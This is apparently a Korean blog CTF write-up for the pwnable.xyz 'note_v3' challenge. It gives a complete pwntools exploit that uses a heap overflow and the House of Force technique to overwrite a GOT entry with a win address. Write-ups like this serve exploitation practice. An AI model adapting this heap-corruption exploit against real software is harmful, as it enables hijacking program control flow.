note를 생성, 수정, 출력 기능이 존재한다
free가 불가능하고 heap overflow를 터트릴 수 있어서 house of force를 통해 note에 청크를 생성해 got주소를 적어두고 note edit를 통해 got overwrite했다
from pwn import *
#context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30041)
#p = process("./note_v3", env = {"LD_PRELOAD" : "./alpine-libc-2.24.so"})
#gdb.attach(p)
def make(size, title, note = 0):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Size: ")
p.sendline(str(size))
p.recvuntil(b"Title: ")
p.send(title)
if note != 0:
p.recvuntil(b"Note: ")
p.send(note)
def edit(idx, data = 0):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"Note: ")
p.sendline(str(idx))
if data != 0:
p.recvuntil(b"Data: ")
p.send(data)
def list_note():
p.recvuntil(b"> ")
p.sendline(b"3")
win = 0x4008a2
note = 0x6012A0
puts = 0x601210
make(-1, b"AAAA")
make(0, b"AAAA")
payload = b"A" * 0x47
payload += B"B"
edit(0, payload)
list_note()
p.recvuntil(b"B")
heap = p.recv(4)
heap += b"\x00" * 4
top_chunk = u64(heap) + 0x70
log.info("top chunk addr: " + hex(top_chunk))
make(-1, b"AAAA")
payload = b"A" * 0x88
payload += p64(0xffffffffffffffff)
edit (1, payload)
target_chunk = (note + 0x20) - 0x30 - top_chunk
make(target_chunk, p64(0x00000000601228 - 0x10))
edit(4, p64(win))
p.interactive()
처음에는 puts got를 덮었는데 계속 segfault가 나서 이것저것 해보다 printf로 했다
'pwn > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] AdultVM3 (0) | 2024.05.20 |
---|---|
pwnable.xyz / world (0) | 2022.05.28 |
pwnable.xyz / door (0) | 2022.05.27 |
pwnable.xyz / child (0) | 2022.05.27 |
pwnable.xyz / Car shop (0) | 2022.05.26 |